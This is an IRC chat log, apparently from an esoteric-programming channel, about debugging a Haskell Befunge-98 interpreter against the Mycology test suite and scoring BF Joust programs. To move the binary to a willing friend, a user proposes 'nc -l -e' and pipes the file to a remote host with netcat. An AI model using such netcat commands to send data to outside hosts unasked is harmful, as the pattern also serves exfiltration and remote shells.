16:07:35 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$
16:07:35 <elliott> :(
16:07:38 <elliott> it gave up
16:08:00 <elliott> Deewiant: Got the ability to set up an nc -l -e 'cat >file' on a port? :P
16:08:05 <elliott> I'm so ghetto.
16:08:09 -!- zzo38 has joined.
16:08:17 <elliott> http://catseye.tc/projects/funge98/library/TOYS.html aaaargh
16:08:18 <ais523> elliott: why is pastebinning an interp an abuse of web space?
16:08:25 <Deewiant> elliott: tar.us.to:1234
16:08:43 <elliott> Deewiant:
16:08:45 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$ cat shiro | nc tar.us.to 1234
16:08:46 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$
16:08:48 <elliott> That was a bit ... quick.
16:08:53 <elliott> ais523: because it was a uuencoded binary
16:08:59 <Deewiant> I just ran that command, I don't know how nc works
16:09:07 <ais523> elliott: of a Haskell program?
16:09:12 <elliott> ais523: yes
16:09:18 <elliott> ais523: a 1.5 megabyte-before-uuencoding binary
16:09:19 <ais523> why not send source?
16:09:21 <elliott> Deewiant: I'll just upload it :P
16:09:23 <Deewiant> Oh, it took that as a hostname
16:09:24 <Deewiant> Try again
16:09:26 <elliott> ais523: Requires more than a few lirbaries.
16:09:28 <elliott> *libraries.
16:09:35 <elliott> Deewiant: It's running.
16:09:51 <elliott> Deewiant: 1541637 bytes according to wc -c is the magic number you need to kill it at.
16:09:59 <elliott> Erm.
16:10:00 <elliott> It's finished already?
16:10:02 -!- asiekierka has quit (Ping timeout: 250 seconds).
16:10:11 <Deewiant> 1541637 /tmp/shiro
16:10:29 <elliott> Deewiant: Now cd to mycology.b98 and run it.
16:10:35 <elliott> (The directory with mycology.b98 in it, that is.)
16:10:38 <Deewiant> ../shiro: error while loading shared libraries: libgmp.so.3: cannot open shared object file: No such file or directory
16:10:44 <Deewiant> BZZT, try again
16:10:52 <elliott> Deewiant: You want a static binary? :P
16:10:58 <Deewiant> I have libgmp.so.10
16:11:06 <elliott> Deewiant: Oh, I'm sorry, I'm just OLD-FASHIONED.
16:11:22 <Deewiant> So yeah, I suggest the static binary :-P
16:11:53 <elliott> Deewiant: Well, it's 2.6 megs.
16:11:57 <elliott> Suspiciously small.
16:12:00 <elliott> Set up the cat again :P
16:12:04 <Deewiant> strip -s it
16:12:06 <Deewiant> And it's setup
16:12:17 <elliott> Deewiant: IIRC Haskell binaries do not like being stripped.
16:12:27 <Deewiant> If you say so
16:12:30 <Deewiant> I always strip them
16:12:30 <elliott> Sending the non-stripped one now.
16:13:10 <elliott> Deewiant: Sent.
16:13:25 <Deewiant> I see you use the basename of the path
16:13:30 <Deewiant> $ time ../shiro ~/programming/projects/mycology/mycology.b98
16:13:30 <Deewiant> shiro: mycology.b98: openBinaryFile: does not exist (No such file or directory)
16:13:39 <elliott> <elliott> Deewiant: Now cd to mycology.b98 and run it.
16:13:40 <elliott> <elliott> (The directory with mycology.b98 in it, that is.)
16:13:44 <elliott> There's no command-line interface.
16:13:46 <elliott> As I said, ghetto.
16:13:56 <Deewiant> Oh, it doesn't take a parameter at all, heh.
16:14:00 <elliott> Enjoy the experience :P
16:14:07 <Deewiant> Exciting stuff.
16:14:37 -!- oerjan has joined.
16:14:42 <Deewiant> I can quite conclusively say that Language::Befunge is not this slow.
16:14:46 <ais523> I nearly facepalmed to death today due to misinterpreting what someone said
16:15:05 <elliott> Deewiant: Yes. For maximum slowness, you need Shiro!
16:15:12 <elliott> ais523: ?
16:15:15 <ais523> they'd done a crazy hack that involved mapping someone else's hostname to 127.0.0.1, thus using their own computer as a proxy to it by setting up a tunnel there on port 443
16:15:16 <oerjan> ais523: did you get a concussion?
16:15:24 <elliott> what ...
16:15:25 -!- asiekierka has joined.
16:15:36 <ais523> but I heard it backwards, and thought that what they'd said was that they'd remapped 127.0.0.1 to instead go to the other person's website
16:15:37 <elliott> how did you misinterpret it?
16:15:39 <elliott> haha
16:15:49 <elliott> Deewiant: HAS IT CRASHED YET
16:15:52 <ais523> which would have been truly insane
16:17:28 <elliott> Shiro has in fact slowed down time as experienced by Deewiant.
16:17:29 <ais523> and my thoughts were along the lines of "is that even possible" and "what effect would that have on a computer"
16:17:58 <ais523> I'm half-tempted to actually figure out how to do it and do it to see what happens, but I don't really want to and anyway wouldn't put in enough effort to accomplish anything
16:18:05 <oerjan> 14:04:44 <elliott> ais523: oerjan is right dammit
16:18:05 <oerjan> 14:04:47 <elliott> I just started reading a random log
16:18:08 <oerjan> um wat
16:18:11 <elliott> oerjan: synchronicity
16:18:29 <ais523> oerjan: elliott read you talking to him about how he started and never finished Befunge-98 interps in Haskell
16:18:30 <Deewiant> elliott: It's gone a bit quiet after 4k #
16:18:31 <ais523> over a year ago
16:18:41 <elliott> oerjan: pick a random log the day after I start writing a befunge-98 interpreter in Haskell while talking to ais523, it's me talking to ais523 about implementing a befunge-98 interpreter in haskell
16:18:43 <elliott> two years ago
16:18:48 <oerjan> heh
16:18:50 <elliott> Deewiant: Paste the last few lines?
16:18:58 <Deewiant> GOOD: 1k[ turns left from k
16:18:58 <Deewiant> GOOD: 4k # jumps 4 times from k
16:19:07 <elliott> Deewiant: Do you know what the next test is? :P
16:19:28 <Deewiant> $ ccbi mycology.b98| head -n30 | tail -n5
16:19:33 <Deewiant> GOOD: 1k[ turns left from k
16:19:33 <Deewiant> GOOD: 4k # jumps 4 times from k
16:19:34 <Deewiant> GOOD: 2k ;;;5 executes 5 thrice
16:19:34 <Deewiant> GOOD: 2k# jumps twice from k
16:19:34 <Deewiant> GOOD: ak47k$ leaves 3 fours on stack
16:20:06 <elliott> Deewiant: Likely I have a bug in my ;-skipper, then.
16:20:15 <elliott> That ;;;; is like /**//**/, right?
16:20:21 <elliott> i.e. two empty comments.
16:20:25 <Deewiant> That's three ;, not four
16:20:36 <elliott> Deewiant: huh?
16:20:39 <elliott> Then the 5 is commented.
16:21:04 <Deewiant> The "comment" started by the third ; is closed by the first ; after wraparound
16:21:16 <elliott> Deewiant: That's... disgusting :-D
16:21:43 <elliott> Deewiant: Is it still running?
16:21:48 <elliott> I think it's running to the right edge of the playfield.
16:21:50 <elliott> Very, very slowly.
16:21:52 <Deewiant> I ^C'd it to get you that output.
16:21:58 <elliott> Deewiant: OK, let me explain.
16:22:02 <elliott> Deewiant: You know how slow one tick goes?
16:22:06 <elliott> i.e. the first GOOD output.
16:22:21 <elliott> Deewiant: It's doing that, times the width of the playfield at the point.
16:22:25 <elliott> Deewiant: Which is O(slow).
16:22:32 <elliott> Deewiant: Think you've got the patience to wait it out? :-P
16:22:40 <Deewiant> It should be far less instructions than have been run at that point.
16:22:49 <Deewiant> And ; should be faster than running something anyway
16:22:52 <elliott> Deewiant: Yes, but it's going to be silent all the way.
16:22:53 <elliott> Deewiant: No.
16:22:55 <Sgeo> I am bored. I am a goban.
16:22:56 <elliott> Deewiant: It's not about the running.
16:22:58 <elliott> Deewiant: The actual execution is fast.
16:23:05 <elliott> Deewiant: It's the fact that every time you go forwards, it re-calculates the bounds.
16:23:09 <elliott> Including as part of the loop.
16:23:13 <Deewiant> >_<
16:23:17 <elliott> SOME MIGHT SAY that this is retarded.
16:23:25 <elliott> SOME MIGHT SAY that I might fix it right now.
16:23:33 <elliott> Deewiant: But do you wanna wait it out while I fix it? :P
16:23:39 <Deewiant> It'll be faster for you to fix it than for me to run it until it gets further
16:23:44 <elliott> It'll just be a temporary fix, since the real thing to do is:
16:23:49 <Deewiant> It was at 6 minutes when I killed it
16:23:54 -!- cheater- has quit (Ping timeout: 240 seconds).
16:23:55 <elliott> TODO: Add cached bounds arrays indexed by row and column.
16:24:40 <pikhq> And my procrastination is successful again.
16:24:46 <pikhq> This may be bad.
16:24:50 -!- cheater- has joined.
16:25:12 <pikhq> I keep getting rewarded for putting stuff off until the last minute by being able to actually get it done without trouble.
16:25:37 <ais523> wow: http://www.schneier.com/blog/archives/2011/02/uk_immigration.html
16:26:15 <ais523> summary: someone working for UK immigration put his wife on the no-fly list while she was abroad, in order to get rid of her
16:26:26 <Sgeo> pikhq, welcome to my world
16:26:46 <elliott> Deewiant: Open the port again :P
16:26:49 <pikhq> Sgeo: Oh, shaddup, you aren't even getting a real degree.
16:26:56 <Deewiant> Done
16:27:02 <ais523> although people have accused Schneier's sources of being unreliable
16:27:08 <elliott> He's getting a cheap plastic imitation of a degree!
16:27:13 <elliott> </reference>
16:27:19 <elliott> Deewiant: Uploading.
16:27:27 <Sgeo> elliott, everyone here gets the reference
16:27:50 <pikhq> elliott: :)
16:28:33 <elliott> Deewiant: ENJOY
16:30:38 <elliott> Deewiant: ...
16:31:21 <Deewiant> Now it did the 4k #
16:31:27 <Deewiant> 'Bout three minutes
16:31:44 <elliott> Deewiant: It should wrap pretty quickly.
16:31:49 <elliott> It's just busy-looping, basically.
16:31:53 <elliott> Rather than bound-counting.
16:32:03 <elliott> Deewiant: Most of it should just be a straight addition loop until it wraps.
16:33:27 <elliott> Deewiant: OMGGGGGGGGGGG HOW IS IT DOIIIIIINGGGG
16:33:28 <zzo38> ais523: Do you think his wife will go on the boat if she is not allowed in airplane flying?
16:33:42 <elliott> Yes.
16:33:43 <elliott> On the boat.
16:33:51 <elliott> Clearly she will go on the boat.
16:33:54 <ais523> zzo38: who knows
16:33:59 <Deewiant> elliott: 4k #
16:34:15 <ais523> how does it take three minutes to do "4k #"?
16:34:20 <elliott> ais523: it already did that
16:34:28 <elliott> ais523: it's 2k ;;;5 which takes a long time
16:34:36 <ais523> I was looking upwards
16:34:50 <ais523> also, 2k ;;;5 on a line by itself? ouch
16:34:55 <elliott> ais523: no
16:34:57 <elliott> ais523: on a line with other things
16:35:05 <ais523> any of them semicolons?
16:35:18 <Deewiant> No :-P
16:35:27 <elliott> Deewiant: Are you having fun
16:35:50 <Deewiant> I'm not exactly staring at it waiting for something to happen
16:36:00 <elliott> Deewiant: YOU SHOULD BE
16:38:20 <Deewiant> I'm unconvinced that anything's going to happen today; how're your optimizations doing
16:38:35 <elliott> Deewiant: Seriously, this should be not too slow...
16:38:38 <elliott> It's basically a busyloop.
16:38:55 <Deewiant> Sure it's not an infinite busyloop with the semicolons like that? :-P
16:38:59 <oerjan> ais523: what do you think of my recent changes to the Underload page?
16:39:15 <ais523> oerjan: I like them, it's an improvement
16:39:18 <elliott> Deewiant: I very much doubt it.
16:39:24 <elliott> oerjan: eek, you changed things?
16:39:28 <oerjan> good
16:39:31 <ais523> although you don't mention explicitly that stacks go bottom at the left to top at the right, which is the Underload convention
16:39:35 <elliott> ew, it's ugly now :( >_>
16:39:39 <ais523> elliott: he improved the documentation on the basic commands
16:39:41 <Deewiant> You're right, it's not infinite, but it is slow
16:39:44 <elliott> well specifically the Commands section
16:39:45 <elliott> Deewiant: It finished?
16:39:47 <Deewiant> (I tested on a small file)
16:39:56 <elliott> Deewiant: You STOPPED IT? HOW COULD YOU
16:40:01 <Deewiant> I didn't stop it
16:40:05 <elliott> Oh.
16:40:11 <Deewiant> But it's at 12 minutes of CPU time
16:40:18 * elliott resists urge to revert oerjan's change
16:40:40 <oerjan> elliott: i copied the layout from the Glass page, although the stack effect notation is slightly changed (similarly to in my "lambda" notation, they are of course related)
16:40:48 <elliott> ALWAYS WITH THE EXCUSES FOR UGLINESS
16:41:14 <Deewiant> elliott: Seriously, profile it :-P
16:41:26 <oerjan> elliott: of course i was the one who made that layout for the Glass page in the first place
16:41:26 <elliott> Deewiant: I have absolutely no idea how to do profiling with ghc.
16:41:38 <Deewiant> http://www.google.com/search?q=ghc%20profiling oh look it's the first result
16:41:49 <elliott> Deewiant: Sorry, let me rephrase: Fuck you :P
16:41:51 <elliott> (Okay, I'll profile.)
16:41:57 <Deewiant> Compile with -prof -auto-all
16:42:13 <Deewiant> And then use +RTS -p, I think
16:42:34 <elliott> Deewiant: Will that work if I ^C it?
16:42:36 <Deewiant> And grab like only the befunge-93 area of Mycology because that'll take a while
16:42:39 <Deewiant> I dunno
16:42:47 <elliott> Yes.
16:43:05 <elliott> CAF Main 274 61 0.0 0.0 98.5 98.4
16:43:05 <elliott> <*>_a4Zn Shiro.Monad 414 1 0.0 0.0 0.0 0.0
16:43:05 <elliott> stackStack Shiro.Monad 425 2 0.0 0.0 0.0 0.0
16:43:06 <elliott> lol
16:43:21 <elliott> Deewiant: Err, is this thing ordered by any useful metric at all?
16:43:39 <elliott> I *think* it's higher is more used.
16:43:40 <Deewiant> Beats me
16:43:45 <elliott> Bounds time is 86% which is no surprise.
16:43:47 <elliott> insertFS is 11%.
16:43:50 <elliott> I'll try strictness-peppering.
16:44:23 <Deewiant> Get rid of the bounds crap :-P
16:44:31 <elliott> Deewiant: That would be Really Hard.
16:44:36 <elliott> Deewiant: As in, not right now :P
16:44:42 <Deewiant> At least don't do it on every iteration of loop
16:44:47 <elliott> I don't.
16:44:49 <elliott> That's what I fixed.
16:44:58 <Deewiant> Okay
16:45:02 <elliott> Wiat.
16:45:03 <elliott> Wait.
16:45:18 <elliott> Deewiant: If you just remove *.o files and not *.hi files, does it not recompie?
16:45:24 <elliott> Oh, no, .hi is just the interface.
16:45:32 <elliott> Or, wait, no, is it?
16:45:48 <Deewiant> If it says [ 1 of 1] compiling foo.hs then it recompiles
16:45:55 <elliott> What do you need to enable to be able to use !Foo in types again?
16:46:00 <Deewiant> If it just says "linking exec" then it didn't
16:46:02 <oerjan> ais523: i put parentheses around the variables because i think it's more intuitively useful in practice, it gives the whole stack change/lambda notation a meaning of "running this command/program after the program to the left changes the result into the program on the right." Although the S case slightly breaks that.
16:46:13 <Deewiant> I don't know, I don't use types that much :-P
16:46:21 <Deewiant> Use more newtypes
16:46:39 <ais523> oerjan: indeed, my first Underload interp actually worked more or less directly on the principle there
16:46:48 <ais523> it's just, it probably needs to be explained to people who don't know Underload
16:47:17 <ais523> on the basis that they're the people who need to be told how the lang works, people who do know Underload already know
16:47:58 <elliott> Deewiant: OK, I give in, I'll add bounds information.
16:48:00 <ais523> !bf joust test >>(+)*100000
16:48:24 <ais523> elliott: how did you get as far as you could without it?
16:48:28 <ais523> !bfjoust test >>(+)*100000
16:48:35 <oerjan> ais523: hm do you mean you used those as rewriting rules on the program? because that should be possible.
16:48:39 <elliott> ais523: By calculating bounds all-the-fucking-tmie.
16:48:41 <elliott> *time.
16:48:41 <ais523> oerjan: yep, pretty much
16:48:43 <Deewiant> ais523: He recalculated it every time anything moved
16:48:51 <ais523> by looping over every cell in fungespace?
16:48:51 <Deewiant> I.e. the IP or any intermediate vector
16:48:54 <Deewiant> Yep
16:48:54 <elliott> *time.
16:48:55 <elliott> ais523: Yes.
16:49:02 <ais523> also, when the /IP/ moves?
16:49:04 <ais523> wow
16:49:15 <elliott> It was impressively slow. :)
16:49:16 <Deewiant> And in k, presumably, when fetching the next instruction etc
16:49:32 <elliott> Now to go from rowBounds and colBounds to bounds.
16:50:11 <elliott> Hmm.
16:50:15 <elliott> , rowBounds :: Map Value (Value,Value) -- min, max
16:50:16 <elliott> , colBounds :: Map Value (Value,Value) }
16:50:19 <elliott> That's not the ideal structure, is it?
16:50:23 -!- impomatic has joined.
16:50:25 <elliott> I don't see how to go from that to minimum and maximum coordinates.
16:50:32 <EgoBot> Score for ais523_test: 0.0
16:50:37 <elliott> HI AIS523
16:51:12 <ais523> hmm, naturally
16:51:17 <ais523> I think it draws some runs and loses others
16:51:21 <ais523> I was just curious to see what would happen
16:51:30 <ais523> actually, wait, why doesn't that draw with defend7?
16:51:48 <ais523> oh, it does
16:51:51 <ais523> just doesn't score any points from that
16:52:17 <ais523> heh, there are a couple of new programs by impomatic on the hill since I last looked
16:52:22 <ais523> any particular ingenious strategies in them?
16:52:42 <impomatic> No :-(
16:52:46 <ais523> oh, and some of Lymia__'s evo programs finally got onto the leaderboard
16:53:22 <ais523> the side-effects seem to be the death of defend9 and vibration (finally), and defend7 winning
16:53:48 <elliott> :t maybe
16:53:49 <lambdabot> forall b a. b -> (a -> b) -> Maybe a -> b
16:54:26 <impomatic> Although I got a confusing score from one of the new ones -> http://twitpic.com/3xcqje
16:54:27 <ais523> elliott: cpressey replied to your questions on the wiki, btw
16:54:39 <elliott> ah, thanks
16:54:52 -!- Sgeo has quit (Ping timeout: 255 seconds).
16:54:55 <ais523> impomatic: looks like you have the same client bug as Mibbit
16:55:37 <ais523> I should try to come up with another jouster along the lines of defend7/defend9, but it's hard to improve on the relative simplicity of the defend7 formula
16:55:44 <impomatic> 9.9 " 9 . 9 " displays as a smilie
16:56:11 <elliott> Couldn't match expected type `Map Value (Value, Value)'
16:56:12 <elliott> against inferred type `Map
16:56:12 <elliott> (Map Value (Value, Value)) (Value, Value)
16:56:12 <elliott> -> Map (Map Value (Value, Value)) (Value, Value)'
16:56:18 <ais523> in fact, I only recently realised why defend7 works as well as it does (it's mostly because 256 is a power of 2)
16:56:37 <elliott> O RLY
16:57:53 <ais523> even so, it's beaten by various slow rushes; it's just that slow-rushing seems to be quite a bad strategy on the current hill for whatever reason
16:57:53 -!- Behold has joined.
16:58:08 <ais523> (even though myndzi_slowrush is second; it must be a very good slow rush)
16:58:27 <elliott> :t Map.alert
16:58:29 <lambdabot> Couldn't find qualified module.
16:58:29 <elliott> :t Map.alter
16:58:30 <lambdabot> Couldn't find qualified module.
16:58:33 <elliott> :t Data.Map.alter
16:58:34 <lambdabot> forall a k. (Ord k) => (Maybe a -> Maybe a) -> k -> M.Map k a -> M.Map k a
16:59:25 <ais523> wow, defend7 has been on the hill for over a year
16:59:52 <ais523> along with a few other programs that aren't mine
17:00:04 <elliott> hmm, I have a feeling my row code is broken
17:01:09 -!- BeholdMyGlory has quit (Ping timeout: 250 seconds).
17:01:21 <Ilari> Xe180He8O0PW118eeeQQQ118Q1O 08DO
17:01:29 <oerjan> ais523: ok now it got _really_ ugly, is there a better way to format that...
17:01:39 <elliott> yes, by killing it with fire :D
17:01:41 <elliott> FIIIRE
17:01:48 <ais523> oerjan: context?
17:01:54 <oerjan> ais523: underload page
17:01:56 <ais523> oh, the wiki
17:02:23 <Ilari> Wonder what TECO would do with code like that.
17:02:38 <oerjan> i considered a table, except i vaguely recall i considered it for glass and decided against it...
17:02:39 <ais523> I only poll that every 15 minutes or so
17:02:54 <impomatic> Oh, I appear to have the oldest on the hill, survived 21 months :-)
17:03:21 <oerjan> ais523: well i didn't think the conversation had ended properly, so i didn't bother adding context...
17:03:56 <ais523> it hadn't, just I'd dumped the conversation state from mental cache in order to make room for other things
17:04:09 <ais523> so I needed to reload the information that would have been cached from other users of the channel
17:04:18 <oerjan> INSUFFICIENT SHORT-TERM MEMORY FOR IRCING
17:06:13 <elliott> Deewiant: Jumps straight to
17:06:14 <elliott> GOOD: 4k # jumps 4 times from k
17:06:15 <elliott> now
17:06:16 <elliott> where it hangs
17:06:18 <elliott> :/
17:06:23 <elliott> literally, jumps
17:06:51 <Deewiant> I'll assume this is an infloop then
17:07:10 <Deewiant> 39 minutes aaand ^C
17:07:26 <elliott> Deewiant: :-D
17:07:33 <elliott> Deewiant: Time to add debugge magick.
17:09:03 <elliott> Deewiant: Queer, it finds the end of the semicolon.
17:09:38 <elliott> And hangs on a space.
17:09:51 <Deewiant> Wretched spaces.
17:10:48 <ais523> hmm, are Lymia__'s evobots based on the current hill? or an old hill? or something else?
17:11:17 <Deewiant> The top 10 from a short while ago IIRC
17:11:35 <ais523> ah
17:11:41 <elliott> no, on ais523's
17:11:43 <elliott> i think
17:11:44 <ais523> on the assumption that they can push off the bottom 10?
17:11:53 <elliott> Ugh, it's even buggy, For some reason it's doin' it rong.
17:12:03 <ais523> if they're based on mine, it's a little hilarious that they pushed defend7 up to the top
17:12:06 <elliott> afterSemicolon IP {ray = Ray (606,40) (1,0), isStringMode = False} (32)
17:12:06 <elliott> afterSemicolon IP {ray = Ray (607,40) (1,0), isStringMode = False} (32)
17:12:06 <elliott> afterSemicolon IP {ray = Ray (608,40) (1,0), isStringMode = False} (32)
17:12:06 <elliott> afterSemicolon IP {ray = Ray (609,40) (1,0), isStringMode = False} (32)
17:12:06 <elliott> afterSemicolon IP {ray = Ray (610,40) (1,0), isStringMode = False} (32)
17:12:06 <elliott> afterSemicolon IP {ray = Ray (611,40) (1,0), isStringMode = False} (32)
17:12:08 <ais523> as that program was in the set
17:12:08 <elliott> afterSemicolon IP {ray = Ray (612,40) (1,0), isStringMode = False} (32)
17:12:13 <elliott> Oh, I think I'm not taking advantage of my special bounds functions.
17:12:15 <elliott> TODO: fix.
17:12:27 <Deewiant> The end is at around 768
17:12:33 <elliott> 909 for me.
17:12:34 <Deewiant> Well, in the y-direction
17:12:34 <elliott> God knows why.
17:12:39 <Deewiant> In the x-direction it's at 180 :-P
17:12:40 <elliott> Oh, x.
17:12:43 <elliott> Well, 909!
17:13:06 <elliott> I'm going to assume that nextIPPosWithBounds is broken.
17:15:18 <elliott> loop (-1528,40) (1,0) (0,0)
17:15:22 <elliott> O-kayy.
17:15:31 <elliott> loop (-3436,40) (1,0) (0,0)
17:15:43 <Deewiant> LOOKS RIGHT TO ME
17:16:02 <elliott> loop :: Vector -> Vector -> Vector -> Vector
17:16:02 <elliott> loop (x,y) (dx,dy) (mx,my)
17:16:02 <elliott> | trace ("loop " ++ show (x,y) ++ " " ++ show (dx,dy) ++ " " ++ show (mx,my)) False = undefined
17:16:02 <elliott> | x `ltx` mx && y `lty` my = (mx+dx, my+dy)
17:16:02 <elliott> | x `gtx` mx || y `gtx` my = loop (x-dx, y-dy) (dx,dy) (mx,my)
17:16:03 <elliott> | otherwise = (x,y)
17:16:07 <elliott> where ltx, gtx, lty, gty :: Value -> Value -> Bool
17:16:09 <elliott> ltx = posneg dx (<) (>)
17:16:11 <elliott> gtx = posneg dx (>) (<)
17:16:13 <elliott> lty = posneg dy (<) (>)
17:16:15 <elliott> gty = posneg dy (>) (<)
17:16:17 <elliott> ANY IDEAS DEEWIANT
17:16:23 <elliott> where
17:16:26 <elliott> let mx = posneg dx mnx mxx
17:16:26 <elliott> my = posneg dy mny mxy
17:16:40 <elliott> so let's see
17:16:46 <elliott> m = mx
17:16:50 <elliott> and lt/gt are lt/gt
17:16:50 <elliott> so
17:16:57 <elliott> x < mnx && y < mnx
17:16:57 <elliott> aha
17:16:59 <elliott> needs to be ||
17:17:03 <elliott> although i recall that broke something
17:17:04 <elliott> but whatever
17:17:47 <elliott> About to test division by zero...
17:17:47 <elliott> GOOD: 1 / 0 = 0
17:17:47 <elliott> shiro: divide by zero
17:17:50 <elliott> Deewiant: It's totally bitchin' fast now.
17:17:58 <ais523> !bfjoust tripwire3 >(-)*5>(+)*5(>)*7[(>)*3(>[-]+)*5(.)*100000](>[>[-]+])*18>>[[+]]
17:18:03 <EgoBot> Score for ais523_tripwire3: 3.9
17:18:08 <ais523> hmm
17:18:16 <Deewiant> (.)*100000 seems a bit... excessive
17:18:20 <elliott> Deewiant: Although I don't currently shrink bounds.
17:18:34 <ais523> that one seems good vs. Lymia__ and impomatic, and bad vs. everyone else
17:18:43 <elliott> Deewiant: What should rem-0 be in funge? Taking /0 = 0 and thus 0?
17:19:08 <Deewiant> "Remainder by zero is subject to the same rules as division by zero"
17:19:11 <elliott> Yep.
17:19:16 <elliott> BAD: 21w doesn't turn
17:19:24 <elliott> Wait.
17:19:30 <elliott> It doesn't _push_ ], z, [ to the stack.
17:19:32 <elliott> It _executes_ them
17:19:33 <elliott> *them.
17:19:34 <elliott> X-D
17:20:40 <impomatic> !bfjoust wait >+[]<[](+)*128
17:20:47 <EgoBot> Score for impomatic_wait: 0.0
17:20:48 <elliott> BAD: wraparound with non-cardinal delta doesn't work
17:20:49 <elliott> BAD: { reflected, maybe ran out of memory
17:20:49 <Deewiant> elliott: w makes more sense now? :-D
17:20:56 <elliott> Deewiant: I haven't implemented {, but that first one... ffffuuu
17:21:00 <elliott> Also, yes, a lot more sense :P
17:21:12 <elliott> I thought you were meant to like, p it somewhere in your path.
17:21:33 <ais523> !bfjoust stridewire (>)*9[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:21:36 <EgoBot> Score for ais523_stridewire: 21.6
17:21:40 <ais523> hmm, not bad
17:22:54 <ais523> I wonder if I change the stride to 3?
17:23:08 <elliott> Deewiant: I like that "maybe ran out of memory" part.
17:23:13 <elliott> A LIKELY STORY
17:23:37 <ais523> !bfjoust stridewire (>)*9[(-----[+]>)*20[[+]]]>>>[(-----[+]>)*17[[+]]]>>>[(-----[+]>)*14[[+]]]>>>[(-----[+]>)*11[[+]]]>>>[(-----[+]>)*8[[+]]]<>>[(-----[+]>)*5[[+]]]>>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:23:39 <EgoBot> Score for ais523_stridewire: 19.2
17:23:48 <ais523> yep, 2's probably better there
17:23:53 <ais523> !bfjoust stridewire (>)*9[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:23:57 <EgoBot> Score for ais523_stridewire: 21.4
17:24:09 <Deewiant> elliott: Well, it's specced
17:24:23 <impomatic> !bfjoust wait [](+)*128(>[-])*30
17:24:29 <EgoBot> Score for impomatic_wait: 5.4
17:25:00 <ais523> because sacrificing 1/3 of the games for a small improvement on the other 2/3 makes it worse against bots it was close to beforehand
17:25:05 <ais523> what about if I add decoys?
17:25:24 <ais523> !bfjoust stridewire >>++>--(>)*6[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:25:28 <EgoBot> Score for ais523_stridewire: 14.9
17:25:52 <ais523> heh, it's surprising how much worse the small decoys make it, although that doesn't surprise me at all given the principle behind stridewire
17:25:57 <ais523> !bfjoust stridewire >>>--(>)*6[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:26:01 <EgoBot> Score for ais523_stridewire: 15.4
17:26:13 <ais523> !bfjoust stridewire (>)*9[(-----[+]>)*20[[+]]]>>[(-----[+]>)*18[[+]]]>>[(-----[+]>)*16[[+]]]>>[(-----[+]>)*14[[+]]]>>[(-----[+]>)*12[[+]]]>>[(-----[+]>)*10[[+]]]>>[(-----[+]>)*8[[+]]]>>[(-----[+]>)*6[[+]]]>>[(-----[+]>)*4[[+]]]>>[(-----[+]>)*2[[+]]]>[[+]]>[[+]]>[[+]]
17:26:16 <EgoBot> Score for ais523_stridewire: 21.4
17:26:27 <ais523> first time I've ever seen a BF Joust program drop significantly in the ranking upon adding decoys
17:27:23 <elliott> Deewiant: What the fuck is { for?
17:27:31 <ais523> !bfjoust stridewire_faster (>)*9[([+]>)*20[[+]]]>>[([+]>)*18[[+]]]>>[([+]>)*16[[+]]]>>[([+]>)*14[[+]]]>>[([+]>)*12[[+]]]>>[([+]>)*10[[+]]]>>[([+]>)*8[[+]]]>>[([+]>)*6[[+]]]>>[([+]>)*4[[+]]]>>[([+]>)*2[[+]]]>>[[+]]>[[+]]>[[+]]
17:27:32 <Deewiant> Subprograms, basically
17:27:35 <EgoBot> Score for ais523_stridewire_faster: 13.7
17:27:40 <elliott> Deewiant: It sucks :P
17:27:49 <Deewiant> It's actually a lot more useful than I first thought it would be
17:28:10 <ais523> !bfjoust stridewire_faster (>)*11[([+]>)*18[[+]]]>>[([+]>)*16[[+]]]>>[([+]>)*14[[+]]]>>[([+]>)*12[[+]]]>>[([+]>)*10[[+]]]>>[([+]>)*8[[+]]]>>[([+]>)*6[[+]]]>>[([+]>)*4[[+]]]>>[([+]>)*2[[+]]]>>[[+]]>[[+]]>[[+]]
17:28:11 <Deewiant> I use it throughout the fingerprint testing code now so that I can add a fingerprint in between (so that it's in alphabetical order) without breaking all the g/p positioning
17:28:13 <EgoBot> Score for ais523_stridewire_faster: 7.5
17:28:27 <ais523> OK, it really does need to work on /all/ tape lengths, I think
17:28:30 <ais523> !bfjoust stridewire_faster (>)*9[([+]>)*20[[+]]]>>[([+]>)*18[[+]]]>>[([+]>)*16[[+]]]>>[([+]>)*14[[+]]]>>[([+]>)*12[[+]]]>>[([+]>)*10[[+]]]>>[([+]>)*8[[+]]]>>[([+]>)*6[[+]]]>>[([+]>)*4[[+]]]>>[([+]>)*2[[+]]]>>[[+]]>[[+]]>[[+]]
17:28:34 <EgoBot> Score for ais523_stridewire_faster: 13.7
17:28:50 <impomatic> !bfjoust wait []+.+.+.+.(+)*128(>[-])*30
17:28:55 <elliott> Deewiant: Wait, nobody told me I'd have to keep track of a storage vector.
17:28:57 <EgoBot> Score for impomatic_wait: 5.4
